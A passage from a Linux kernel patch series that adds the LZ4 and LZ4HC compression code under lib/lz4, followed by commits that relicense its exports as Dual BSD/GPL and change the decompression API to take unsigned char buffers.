MINMATCH; + anchor = ip; + while (likely(ip < MATCHLIMIT - (STEPSIZE - 1))) { + #if LZ4_ARCH64 + u64 diff = A64(ref) ^ A64(ip); + #else + u32 diff = A32(ref) ^ A32(ip); + #endif + if (!diff) { + ip += STEPSIZE; + ref += STEPSIZE; + continue; + } + ip += LZ4_NBCOMMONBYTES(diff); + goto _endcount; + } + #if LZ4_ARCH64 + if ((ip < (MATCHLIMIT - 3)) && (A32(ref) == A32(ip))) { + ip += 4; + ref += 4; + } + #endif + if ((ip < (MATCHLIMIT - 1)) && (A16(ref) == A16(ip))) { + ip += 2; + ref += 2; + } + if ((ip < MATCHLIMIT) && (*ref == *ip)) + ip++; +_endcount: + /* Encode MatchLength */ + length = (int)(ip - anchor); + /* Check output limit */ + if (unlikely(op + (1 + LASTLITERALS) + (length >> 8) > oend)) + return 0; + if (length >= (int)ML_MASK) { + *token += ML_MASK; + length -= ML_MASK; + for (; length > 509 ; length -= 510) { + *op++ = 255; + *op++ = 255; + } + if (length > 254) { + length -= 255; + *op++ = 255; + } + *op++ = (u8)length; + } else + *token += length; + + /* Test end of chunk */ + if (ip > mflimit) { + anchor = ip; + break; + } + + /* Fill table */ + hashtable[LZ4_HASH_VALUE(ip-2)] = ip - 2 - base; + + /* Test next position */ + ref = base + hashtable[LZ4_HASH_VALUE(ip)]; + hashtable[LZ4_HASH_VALUE(ip)] = ip - base; + if ((ref > ip - (MAX_DISTANCE + 1)) && (A32(ref) == A32(ip))) { + token = op++; + *token = 0; + goto _next_match; + } + + /* Prepare next loop */ + anchor = ip++; + forwardh = LZ4_HASH_VALUE(ip); + } + +_last_literals: + /* Encode Last Literals */ + lastrun = (int)(iend - anchor); + if (((char *)op - dest) + lastrun + 1 + + ((lastrun + 255 - RUN_MASK) / 255) > (u32)maxoutputsize) + return 0; + + if (lastrun >= (int)RUN_MASK) { + *op++ = (RUN_MASK << ML_BITS); + lastrun -= RUN_MASK; + for (; lastrun > 254 ; lastrun -= 255) + *op++ = 255; + *op++ = (u8)lastrun; + } else + *op++ = (lastrun << ML_BITS); + memcpy(op, anchor, iend - anchor); + op += iend - anchor; + + /* End */ + return (int)(((char *)op) - dest); +} + +static inline int lz4_compress64kctx(void *ctx, + const char *source, + char *dest, + int isize, + int maxoutputsize) +{ + u16 *hashtable = (u16 *)ctx; + const u8 *ip = (u8 *) source; + const u8 *anchor = ip; + const u8 *const base = ip; + const u8 *const iend = ip + isize; + const u8 *const mflimit = iend - MFLIMIT; + #define MATCHLIMIT (iend - LASTLITERALS) + + u8 *op = (u8 *) dest; + u8 *const oend = op + maxoutputsize; + int len, length; + const int skipstrength = SKIPSTRENGTH; + u32 forwardh; + int lastrun; + + /* Init */ + if (isize < MINLENGTH) + goto _last_literals; + + memset((void *)hashtable, 0, LZ4_MEM_COMPRESS); + + /* First Byte */ + ip++; + forwardh = LZ4_HASH64K_VALUE(ip); + + /* Main Loop */ + for (;;) { + int findmatchattempts = (1U << skipstrength) + 3; + const u8 *forwardip = ip; + const u8 *ref; + u8 *token; + + /* Find a match */ + do { + u32 h = forwardh; + int step = findmatchattempts++ >> skipstrength; + ip = forwardip; + forwardip = ip + step; + + if (forwardip > mflimit) + goto _last_literals; + + forwardh = LZ4_HASH64K_VALUE(forwardip); + ref = base + hashtable[h]; + hashtable[h] = (u16)(ip - base); + } while (A32(ref) != A32(ip)); + + /* Catch up */ + while ((ip > anchor) && (ref > (u8 *)source) + && (ip[-1] == ref[-1])) { + ip--; + ref--; + } + + /* Encode Literal length */ + length = (int)(ip - anchor); + token = op++; + /* Check output limit */ + if (unlikely(op + length + (2 + 1 + LASTLITERALS) + + (length >> 8) > oend)) + return 0; + if (length >= (int)RUN_MASK) { + *token = (RUN_MASK << ML_BITS); + len = length - RUN_MASK; + for (; len > 254 ; len -= 255) + *op++ = 255; + *op++ = (u8)len; + } else + *token = (length << ML_BITS); + + /* Copy Literals */ + LZ4_BLINDCOPY(anchor, op, length); + +_next_match: + /* Encode Offset */ + LZ4_WRITE_LITTLEENDIAN_16(op, (u16)(ip - ref)); + + /* Start Counting */ + ip += MINMATCH; + /* MinMatch verified */ + ref += MINMATCH; + anchor = ip; + + while (ip < MATCHLIMIT - (STEPSIZE - 1)) { + #if LZ4_ARCH64 + u64 diff = A64(ref) ^ A64(ip); + #else + u32 diff = A32(ref) ^ A32(ip); + #endif + + if (!diff) { + ip += STEPSIZE; + ref += STEPSIZE; + continue; + } + ip += LZ4_NBCOMMONBYTES(diff); + goto _endcount; + } + #if LZ4_ARCH64 + if ((ip < (MATCHLIMIT - 3)) && (A32(ref) == A32(ip))) { + ip += 4; + ref += 4; + } + #endif + if ((ip < (MATCHLIMIT - 1)) && (A16(ref) == A16(ip))) { + ip += 2; + ref += 2; + } + if ((ip < MATCHLIMIT) && (*ref == *ip)) + ip++; +_endcount: + + /* Encode MatchLength */ + len = (int)(ip - anchor); + /* Check output limit */ + if (unlikely(op + (1 + LASTLITERALS) + (len >> 8) > oend)) + return 0; + if (len >= (int)ML_MASK) { + *token += ML_MASK; + len -= ML_MASK; + for (; len > 509 ; len -= 510) { + *op++ = 255; + *op++ = 255; + } + if (len > 254) { + len -= 255; + *op++ = 255; + } + *op++ = (u8)len; + } else + *token += len; + + /* Test end of chunk */ + if (ip > mflimit) { + anchor = ip; + break; + } + + /* Fill table */ + hashtable[LZ4_HASH64K_VALUE(ip-2)] = (u16)(ip - 2 - base); + + /* Test next position */ + ref = base + hashtable[LZ4_HASH64K_VALUE(ip)]; + hashtable[LZ4_HASH64K_VALUE(ip)] = (u16)(ip - base); + if (A32(ref) == A32(ip)) { + token = op++; + *token = 0; + goto _next_match; + } + + /* Prepare next loop */ + anchor = ip++; + forwardh = LZ4_HASH64K_VALUE(ip); + } + +_last_literals: + /* Encode Last Literals */ + lastrun = (int)(iend - anchor); + if (op + lastrun + 1 + (lastrun - RUN_MASK + 255) / 255 > oend) + return 0; + if (lastrun >= (int)RUN_MASK) { + *op++ = (RUN_MASK << ML_BITS); + lastrun -= RUN_MASK; + for (; lastrun > 254 ; lastrun -= 255) + *op++ = 255; + *op++ = (u8)lastrun; + } else + *op++ = (lastrun << ML_BITS); + memcpy(op, anchor, iend - anchor); + op += iend - anchor; + /* End */ + return (int)(((char *)op) - dest); +} + +int lz4_compress(const unsigned char *src, size_t src_len, + unsigned char *dst, size_t *dst_len, void *wrkmem) +{ + int ret = -1; + int out_len = 0; + + if (src_len < LZ4_64KLIMIT) + out_len = lz4_compress64kctx(wrkmem, src, dst, src_len, + lz4_compressbound(src_len)); + else + out_len = lz4_compressctx(wrkmem, src, dst, src_len, + lz4_compressbound(src_len)); + + if (out_len < 0) + goto exit; + + *dst_len = out_len; + + return 0; +exit: + return ret; +} +EXPORT_SYMBOL_GPL(lz4_compress); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("LZ4 compressor"); diff --git a/lib/lz4/lz4defs.h b/lib/lz4/lz4defs.h index 43ac31d63f364..abcecdc2d0f23 100644 --- a/lib/lz4/lz4defs.h +++ b/lib/lz4/lz4defs.h @@ -22,23 +22,40 @@ * Architecture-specific macros */ #define BYTE u8 +typedef struct _U16_S { u16 v; } U16_S; +typedef struct _U32_S { u32 v; } U32_S; +typedef struct _U64_S { u64 v; } U64_S; #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) \ || defined(CONFIG_ARM) && __LINUX_ARM_ARCH__ >= 6 \ && defined(ARM_EFFICIENT_UNALIGNED_ACCESS) -typedef struct _U32_S { u32 v; } U32_S; -typedef struct _U64_S { u64 v; } U64_S; +#define A16(x) (((U16_S *)(x))->v) #define A32(x) (((U32_S *)(x))->v) #define A64(x) (((U64_S *)(x))->v) #define PUT4(s, d) (A32(d) = A32(s)) #define PUT8(s, d) (A64(d) = A64(s)) +#define LZ4_WRITE_LITTLEENDIAN_16(p, v) \ + do { \ + A16(p) = v; \ + p += 2; \ + } while (0) #else /* CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS */ +#define A64(x) get_unaligned((u64 *)&(((U16_S *)(x))->v)) +#define A32(x) get_unaligned((u32 *)&(((U16_S *)(x))->v)) +#define A16(x) get_unaligned((u16 *)&(((U16_S *)(x))->v)) + #define PUT4(s, d) \ put_unaligned(get_unaligned((const u32 *) s), (u32 *) d) #define PUT8(s, d) \ put_unaligned(get_unaligned((const u64 *) s), (u64 *) d) + +#define LZ4_WRITE_LITTLEENDIAN_16(p, v) \ + do { \ + put_unaligned(v, (u16 *)(p)); \ + p += 2; \ + } while (0) #endif #define COPYLENGTH 8 @@ -46,6 +63,29 @@ typedef struct _U64_S { u64 v; } U64_S; #define ML_MASK ((1U << ML_BITS) - 1) #define RUN_BITS (8 - ML_BITS) #define RUN_MASK ((1U << RUN_BITS) - 1) +#define MEMORY_USAGE 14 +#define MINMATCH 4 +#define SKIPSTRENGTH 6 +#define LASTLITERALS 5 +#define MFLIMIT (COPYLENGTH + MINMATCH) +#define MINLENGTH (MFLIMIT + 1) +#define MAXD_LOG 16 +#define MAXD (1 << MAXD_LOG) +#define MAXD_MASK (u32)(MAXD - 1) +#define MAX_DISTANCE (MAXD - 1) +#define HASH_LOG (MAXD_LOG - 1) +#define HASHTABLESIZE (1 << HASH_LOG) +#define MAX_NB_ATTEMPTS 256 +#define OPTIMAL_ML (int)((ML_MASK-1)+MINMATCH) +#define LZ4_64KLIMIT ((1<<16) + (MFLIMIT - 1)) +#define HASHLOG64K ((MEMORY_USAGE - 2) + 1) +#define HASH64KTABLESIZE (1U << HASHLOG64K) +#define LZ4_HASH_VALUE(p) (((A32(p)) * 2654435761U) >> \ + ((MINMATCH * 8) - (MEMORY_USAGE-2))) +#define LZ4_HASH64K_VALUE(p) (((A32(p)) * 2654435761U) >> \ + ((MINMATCH * 8) - HASHLOG64K)) +#define HASH_VALUE(p) (((A32(p)) * 2654435761U) >> \ + ((MINMATCH * 8) - HASH_LOG)) #if LZ4_ARCH64/* 64-bit */ #define STEPSIZE 8 @@ -65,6 +105,13 @@ typedef struct _U64_S { u64 v; } U64_S; LZ4_WILDCOPY(s, d, e); \ } \ } while (0) +#define HTYPE u32 + +#ifdef __BIG_ENDIAN +#define LZ4_NBCOMMONBYTES(val) (__builtin_clzll(val) >> 3) +#else +#define LZ4_NBCOMMONBYTES(val) (__builtin_ctzll(val) >> 3) +#endif #else /* 32-bit */ #define STEPSIZE 4 @@ -83,6 +130,14 @@ typedef struct _U64_S { u64 v; } U64_S; } while (0) #define LZ4_SECURECOPY LZ4_WILDCOPY +#define HTYPE const u8* + +#ifdef __BIG_ENDIAN +#define LZ4_NBCOMMONBYTES(val) (__builtin_clz(val) >> 3) +#else +#define LZ4_NBCOMMONBYTES(val) (__builtin_ctz(val) >> 3) +#endif + #endif #define LZ4_READ_LITTLEENDIAN_16(d, s, p) \ @@ -92,3 +147,10 @@ typedef struct _U64_S { u64 v; } U64_S; do { \ LZ4_COPYPACKET(s, d); \ } while (d < e) + +#define LZ4_BLINDCOPY(s, d, l) \ + do { \ + u8 *e = (d) + l; \ + LZ4_WILDCOPY(s, d, e); \ + d = e; \ + } while (0) diff --git a/lib/lz4/lz4hc_compress.c b/lib/lz4/lz4hc_compress.c new file mode 100644 index 0000000000000..eb1a74f5e3682 --- /dev/null +++ b/lib/lz4/lz4hc_compress.c @@ -0,0 +1,539 @@ +/* + * LZ4 HC - High Compression Mode of LZ4 + * Copyright (C) 2011-2012, Yann Collet. + * BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following disclaimer + * in the documentation and/or other materials provided with the + * distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * You can contact the author at : + * - LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html + * - LZ4 source repository : http://code.google.com/p/lz4/ + * + * Changed for kernel use by: + * Chanho Min + */ + +#include +#include +#include +#include +#include "lz4defs.h" + +struct lz4hc_data { + const u8 *base; + HTYPE hashtable[HASHTABLESIZE]; + u16 chaintable[MAXD]; + const u8 *nexttoupdate; +} __attribute__((__packed__)); + +static inline int lz4hc_init(struct lz4hc_data *hc4, const u8 *base) +{ + memset((void *)hc4->hashtable, 0, sizeof(hc4->hashtable)); + memset(hc4->chaintable, 0xFF, sizeof(hc4->chaintable)); + +#if LZ4_ARCH64 + hc4->nexttoupdate = base + 1; +#else + hc4->nexttoupdate = base; +#endif + hc4->base = base; + return 1; +} + +/* Update chains up to ip (excluded) */ +static inline void lz4hc_insert(struct lz4hc_data *hc4, const u8 *ip) +{ + u16 *chaintable = hc4->chaintable; + HTYPE *hashtable = hc4->hashtable; +#if LZ4_ARCH64 + const BYTE * const base = hc4->base; +#else + const int base = 0; +#endif + + while (hc4->nexttoupdate < ip) { + const u8 *p = hc4->nexttoupdate; + size_t delta = p - (hashtable[HASH_VALUE(p)] + base); + if (delta > MAX_DISTANCE) + delta = MAX_DISTANCE; + chaintable[(size_t)(p) & MAXD_MASK] = (u16)delta; + hashtable[HASH_VALUE(p)] = (p) - base; + hc4->nexttoupdate++; + } +} + +static inline size_t lz4hc_commonlength(const u8 *p1, const u8 *p2, + const u8 *const matchlimit) +{ + const u8 *p1t = p1; + + while (p1t < matchlimit - (STEPSIZE - 1)) { +#if LZ4_ARCH64 + u64 diff = A64(p2) ^ A64(p1t); +#else + u32 diff = A32(p2) ^ A32(p1t); +#endif + if (!diff) { + p1t += STEPSIZE; + p2 += STEPSIZE; + continue; + } + p1t += LZ4_NBCOMMONBYTES(diff); + return p1t - p1; + } +#if LZ4_ARCH64 + if ((p1t < (matchlimit-3)) && (A32(p2) == A32(p1t))) { + p1t += 4; + p2 += 4; + } +#endif + + if ((p1t < (matchlimit - 1)) && (A16(p2) == A16(p1t))) { + p1t += 2; + p2 += 2; + } + if ((p1t < matchlimit) && (*p2 == *p1t)) + p1t++; + return p1t - p1; +} + +static inline int lz4hc_insertandfindbestmatch(struct lz4hc_data *hc4, + const u8 *ip, const u8 *const matchlimit, const u8 **matchpos) +{ + u16 *const chaintable = hc4->chaintable; + HTYPE *const hashtable = hc4->hashtable; + const u8 *ref; +#if LZ4_ARCH64 + const BYTE * const base = hc4->base; +#else + const int base = 0; +#endif + int nbattempts = MAX_NB_ATTEMPTS; + size_t repl = 0, ml = 0; + u16 delta; + + /* HC4 match finder */ + lz4hc_insert(hc4, ip); + ref = hashtable[HASH_VALUE(ip)] + base; + + /* potential repetition */ + if (ref >= ip-4) { + /* confirmed */ + if (A32(ref) == A32(ip)) { + delta = (u16)(ip-ref); + repl = ml = lz4hc_commonlength(ip + MINMATCH, + ref + MINMATCH, matchlimit) + MINMATCH; + *matchpos = ref; + } + ref -= (size_t)chaintable[(size_t)(ref) & MAXD_MASK]; + } + + while ((ref >= ip - MAX_DISTANCE) && nbattempts) { + nbattempts--; + if (*(ref + ml) == *(ip + ml)) { + if (A32(ref) == A32(ip)) { + size_t mlt = + lz4hc_commonlength(ip + MINMATCH, + ref + MINMATCH, matchlimit) + MINMATCH; + if (mlt > ml) { + ml = mlt; + *matchpos = ref; + } + } + } + ref -= (size_t)chaintable[(size_t)(ref) & MAXD_MASK]; + } + + /* Complete table */ + if (repl) { + const BYTE *ptr = ip; + const BYTE *end; + end = ip + repl - (MINMATCH-1); + /* Pre-Load */ + while (ptr < end - delta) { + chaintable[(size_t)(ptr) & MAXD_MASK] = delta; + ptr++; + } + do { + chaintable[(size_t)(ptr) & MAXD_MASK] = delta; + /* Head of chain */ + hashtable[HASH_VALUE(ptr)] = (ptr) - base; + ptr++; + } while (ptr < end); + hc4->nexttoupdate = end; + } + + return (int)ml; +} + +static inline int lz4hc_insertandgetwidermatch(struct lz4hc_data *hc4, + const u8 *ip, const u8 *startlimit, const u8 *matchlimit, int longest, + const u8 **matchpos, const u8 **startpos) +{ + u16 *const chaintable = hc4->chaintable; + HTYPE *const hashtable = hc4->hashtable; +#if LZ4_ARCH64 + const BYTE * const base = hc4->base; +#else + const int base = 0; +#endif + const u8 *ref; + int nbattempts = MAX_NB_ATTEMPTS; + int delta = (int)(ip - startlimit); + + /* First Match */ + lz4hc_insert(hc4, ip); + ref = hashtable[HASH_VALUE(ip)] + base; + + while ((ref >= ip - MAX_DISTANCE) && (ref >= hc4->base) + && (nbattempts)) { + nbattempts--; + if (*(startlimit + longest) == *(ref - delta + longest)) { + if (A32(ref) == A32(ip)) { + const u8 *reft = ref + MINMATCH; + const u8 *ipt = ip + MINMATCH; + const u8 *startt = ip; + + while (ipt < matchlimit-(STEPSIZE - 1)) { + #if LZ4_ARCH64 + u64 diff = A64(reft) ^ A64(ipt); + #else + u32 diff = A32(reft) ^ A32(ipt); + #endif + + if (!diff) { + ipt += STEPSIZE; + reft += STEPSIZE; + continue; + } + ipt += LZ4_NBCOMMONBYTES(diff); + goto _endcount; + } + #if LZ4_ARCH64 + if ((ipt < (matchlimit - 3)) + && (A32(reft) == A32(ipt))) { + ipt += 4; + reft += 4; + } + ipt += 2; + #endif + if ((ipt < (matchlimit - 1)) + && (A16(reft) == A16(ipt))) { + reft += 2; + } + if ((ipt < matchlimit) && (*reft == *ipt)) + ipt++; +_endcount: + reft = ref; + + while ((startt > startlimit) + && (reft > hc4->base) + && (startt[-1] == reft[-1])) { + startt--; + reft--; + } + + if ((ipt - startt) > longest) { + longest = (int)(ipt - startt); + *matchpos = reft; + *startpos = startt; + } + } + } + ref -= (size_t)chaintable[(size_t)(ref) & MAXD_MASK]; + } + return longest; +} + +static inline int lz4_encodesequence(const u8 **ip, u8 **op, const u8 **anchor, + int ml, const u8 *ref) +{ + int length, len; + u8 *token; + + /* Encode Literal length */ + length = (int)(*ip - *anchor); + token = (*op)++; + if (length >= (int)RUN_MASK) { + *token = (RUN_MASK << ML_BITS); + len = length - RUN_MASK; + for (; len > 254 ; len -= 255) + *(*op)++ = 255; + *(*op)++ = (u8)len; + } else + *token = (length << ML_BITS); + + /* Copy Literals */ + LZ4_BLINDCOPY(*anchor, *op, length); + + /* Encode Offset */ + LZ4_WRITE_LITTLEENDIAN_16(*op, (u16)(*ip - ref)); + + /* Encode MatchLength */ + len = (int)(ml - MINMATCH); + if (len >= (int)ML_MASK) { + *token += ML_MASK; + len -= ML_MASK; + for (; len > 509 ; len -= 510) { + *(*op)++ = 255; + *(*op)++ = 255; + } + if (len > 254) { + len -= 255; + *(*op)++ = 255; + } + *(*op)++ = (u8)len; + } else + *token += len; + + /* Prepare next loop */ + *ip += ml; + *anchor = *ip; + + return 0; +} + +static int lz4_compresshcctx(struct lz4hc_data *ctx, + const char *source, + char *dest, + int isize) +{ + const u8 *ip = (const u8 *)source; + const u8 *anchor = ip; + const u8 *const iend = ip + isize; + const u8 *const mflimit = iend - MFLIMIT; + const u8 *const matchlimit = (iend - LASTLITERALS); + + u8 *op = (u8 *)dest; + + int ml, ml2, ml3, ml0; + const u8 *ref = NULL; + const u8 *start2 = NULL; + const u8 *ref2 = NULL; + const u8 *start3 = NULL; + const u8 *ref3 = NULL; + const u8 *start0; + const u8 *ref0; + int lastrun; + + ip++; + + /* Main Loop */ + while (ip < mflimit) { + ml = lz4hc_insertandfindbestmatch(ctx, ip, matchlimit, (&ref)); + if (!ml) { + ip++; + continue; + } + + /* saved, in case we would skip too much */ + start0 = ip; + ref0 = ref; + ml0 = ml; +_search2: + if (ip+ml < mflimit) + ml2 = lz4hc_insertandgetwidermatch(ctx, ip + ml - 2, + ip + 1, matchlimit, ml, &ref2, &start2); + else + ml2 = ml; + /* No better match */ + if (ml2 == ml) { + lz4_encodesequence(&ip, &op, &anchor, ml, ref); + continue; + } + + if (start0 < ip) { + /* empirical */ + if (start2 < ip + ml0) { + ip = start0; + ref = ref0; + ml = ml0; + } + } + /* + * Here, start0==ip + * First Match too small : removed + */ + if ((start2 - ip) < 3) { + ml = ml2; + ip = start2; + ref = ref2; + goto _search2; + } + +_search3: + /* + * Currently we have : + * ml2 > ml1, and + * ip1+3 <= ip2 (usually < ip1+ml1) + */ + if ((start2 - ip) < OPTIMAL_ML) { + int correction; + int new_ml = ml; + if (new_ml > OPTIMAL_ML) + new_ml = OPTIMAL_ML; + if (ip + new_ml > start2 + ml2 - MINMATCH) + new_ml = (int)(start2 - ip) + ml2 - MINMATCH; + correction = new_ml - (int)(start2 - ip); + if (correction > 0) { + start2 += correction; + ref2 += correction; + ml2 -= correction; + } + } + /* + * Now, we have start2 = ip+new_ml, + * with new_ml=min(ml, OPTIMAL_ML=18) + */ + if (start2 + ml2 < mflimit) + ml3 = lz4hc_insertandgetwidermatch(ctx, + start2 + ml2 - 3, start2, matchlimit, + ml2, &ref3, &start3); + else + ml3 = ml2; + + /* No better match : 2 sequences to encode */ + if (ml3 == ml2) { + /* ip & ref are known; Now for ml */ + if (start2 < ip+ml) + ml = (int)(start2 - ip); + + /* Now, encode 2 sequences */ + lz4_encodesequence(&ip, &op, &anchor, ml, ref); + ip = start2; + lz4_encodesequence(&ip, &op, &anchor, ml2, ref2); + continue; + } + + /* Not enough space for match 2 : remove it */ + if (start3 < ip + ml + 3) { + /* + * can write Seq1 immediately ==> Seq2 is removed, + * so Seq3 becomes Seq1 + */ + if (start3 >= (ip + ml)) { + if (start2 < ip + ml) { + int correction = + (int)(ip + ml - start2); + start2 += correction; + ref2 += correction; + ml2 -= correction; + if (ml2 < MINMATCH) { + start2 = start3; + ref2 = ref3; + ml2 = ml3; + } + } + + lz4_encodesequence(&ip, &op, &anchor, ml, ref); + ip = start3; + ref = ref3; + ml = ml3; + + start0 = start2; + ref0 = ref2; + ml0 = ml2; + goto _search2; + } + + start2 = start3; + ref2 = ref3; + ml2 = ml3; + goto _search3; + } + + /* + * OK, now we have 3 ascending matches; let's write at least + * the first one ip & ref are known; Now for ml + */ + if (start2 < ip + ml) { + if ((start2 - ip) < (int)ML_MASK) { + int correction; + if (ml > OPTIMAL_ML) + ml = OPTIMAL_ML; + if (ip + ml > start2 + ml2 - MINMATCH) + ml = (int)(start2 - ip) + ml2 + - MINMATCH; + correction = ml - (int)(start2 - ip); + if (correction > 0) { + start2 += correction; + ref2 += correction; + ml2 -= correction; + } + } else + ml = (int)(start2 - ip); + } + lz4_encodesequence(&ip, &op, &anchor, ml, ref); + + ip = start2; + ref = ref2; + ml = ml2; + + start2 = start3; + ref2 = ref3; + ml2 = ml3; + + goto _search3; + } + + /* Encode Last Literals */ + lastrun = (int)(iend - anchor); + if (lastrun >= (int)RUN_MASK) { + *op++ = (RUN_MASK << ML_BITS); + lastrun -= RUN_MASK; + for (; lastrun > 254 ; lastrun -= 255) + *op++ = 255; + *op++ = (u8) lastrun; + } else + *op++ = (lastrun << ML_BITS); + memcpy(op, anchor, iend - anchor); + op += iend - anchor; + /* End */ + return (int) (((char *)op) - dest); +} + +int lz4hc_compress(const unsigned char *src, size_t src_len, + unsigned char *dst, size_t *dst_len, void *wrkmem) +{ + int ret = -1; + int out_len = 0; + + struct lz4hc_data *hc4 = (struct lz4hc_data *)wrkmem; + lz4hc_init(hc4, (const u8 *)src); + out_len = lz4_compresshcctx((struct lz4hc_data *)hc4, (const u8 *)src, + (char *)dst, (int)src_len); + + if (out_len < 0) + goto exit; + + *dst_len = out_len; + return 0; + +exit: + return ret; +} +EXPORT_SYMBOL_GPL(lz4hc_compress); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("LZ4HC compressor"); From b5b6e78ad977ea157a6b1ddbb28b446afd5b3d43 Mon Sep 17 00:00:00 2001 From: Richard Laager Date: Thu, 22 Aug 2013 16:35:47 -0700 Subject: [PATCH 007/365] lib/lz4: correct the LZ4 license The LZ4 code is listed as using the "BSD 2-Clause License". Signed-off-by: Richard Laager Acked-by: Kyungsik Lee Cc: Chanho Min Cc: Richard Yao Signed-off-by: Andrew Morton [ The 2-clause BSD can be just converted into GPL, but that's rude and pointless, so don't do it - Linus ] Signed-off-by: Linus Torvalds Change-Id: I336084fb5ea5994847880b21767154cb579391f6 --- lib/lz4/lz4_compress.c | 4 ++-- lib/lz4/lz4_decompress.c | 6 +++--- lib/lz4/lz4hc_compress.c | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/lz4/lz4_compress.c b/lib/lz4/lz4_compress.c index fd94058bd7f94..28321d8f75eff 100644 --- a/lib/lz4/lz4_compress.c +++ b/lib/lz4/lz4_compress.c @@ -437,7 +437,7 @@ int lz4_compress(const unsigned char *src, size_t src_len, exit: return ret; } -EXPORT_SYMBOL_GPL(lz4_compress); +EXPORT_SYMBOL(lz4_compress); -MODULE_LICENSE("GPL"); +MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("LZ4 compressor"); diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index d3414eae73a1d..411be80ddb469 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -299,7 +299,7 @@ int lz4_decompress(const char *src, size_t *src_len, char *dest, return ret; } #ifndef STATIC -EXPORT_SYMBOL_GPL(lz4_decompress); +EXPORT_SYMBOL(lz4_decompress); #endif int lz4_decompress_unknownoutputsize(const char *src, size_t src_len, @@ -319,8 +319,8 @@ int lz4_decompress_unknownoutputsize(const char *src, size_t src_len, return ret; } #ifndef STATIC -EXPORT_SYMBOL_GPL(lz4_decompress_unknownoutputsize); +EXPORT_SYMBOL(lz4_decompress_unknownoutputsize); -MODULE_LICENSE("GPL"); +MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("LZ4 Decompressor"); #endif diff --git a/lib/lz4/lz4hc_compress.c b/lib/lz4/lz4hc_compress.c index eb1a74f5e3682..f344f76b65596 100644 --- a/lib/lz4/lz4hc_compress.c +++ b/lib/lz4/lz4hc_compress.c @@ -533,7 +533,7 @@ int lz4hc_compress(const unsigned char *src, size_t src_len, exit: return ret; } -EXPORT_SYMBOL_GPL(lz4hc_compress); +EXPORT_SYMBOL(lz4hc_compress); -MODULE_LICENSE("GPL"); +MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("LZ4HC compressor"); From da6f694dfe2bdd7812f11c7f5009f3f1d8c51688 Mon Sep 17 00:00:00 2001 From: Sergey Senozhatsky Date: Wed, 11 Sep 2013 14:26:32 -0700 Subject: [PATCH 008/365] lz4: fix compression/decompression signedness mismatch LZ4 compression and decompression functions require different in signedness input/output parameters: unsigned char for compression and signed char for decompression. Change decompression API to require "(const) unsigned char *". Change-Id: Id636e5998463a7a1e50e031825f4665c3858e03d Signed-off-by: Sergey Senozhatsky Cc: Kyungsik Lee Cc: Geert Uytterhoeven Cc: Yann Collet Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds --- include/linux/lz4.h | 8 ++++---- lib/lz4/lz4_decompress.c | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/include/linux/lz4.h b/include/linux/lz4.h index d21c13f10a647..4356686b0a391 100644 --- a/include/linux/lz4.h +++ b/include/linux/lz4.h @@ -67,8 +67,8 @@ int lz4hc_compress(const unsigned char *src, size_t src_len, * note : Destination buffer must be already allocated. * slightly faster than lz4_decompress_unknownoutputsize() */ -int lz4_decompress(const char *src, size_t *src_len, char *dest, - size_t actual_dest_len); +int lz4_decompress(const unsigned char *src, size_t *src_len, + unsigned char *dest, size_t actual_dest_len); /* * lz4_decompress_unknownoutputsize() @@ -82,6 +82,6 @@ int lz4_decompress(const char *src, size_t *src_len, char *dest, * Error if return (< 0) * note : Destination buffer must be already allocated. */ -int lz4_decompress_unknownoutputsize(const char *src, size_t src_len, - char *dest, size_t *dest_len); +int lz4_decompress_unknownoutputsize(const unsigned char *src, size_t src_len, + unsigned char *dest, size_t *dest_len); #endif diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index 411be80ddb469..df6839e3ce088 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -283,8 +283,8 @@ static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, return (int) (-(((char *) ip) - source)); } -int lz4_decompress(const char *src, size_t *src_len, char *dest, - size_t actual_dest_len) +int lz4_decompress(const unsigned char *src, size_t *src_len, + unsigned char *dest, size_t actual_dest_len) { int ret = -1; int input_len = 0; @@ -302,8 +302,8 @@ int lz4_decompress(const char *src, size_t *src_len, char *dest, EXPORT_SYMBOL(lz4_decompress); #endif -int lz4_decompress_unknownoutputsize(const char *src, size_t src_len, - char *dest, size_t *dest_len) +int lz4_decompress_unknownoutputsize(const unsigned char *src, size_t src_len, + unsigned 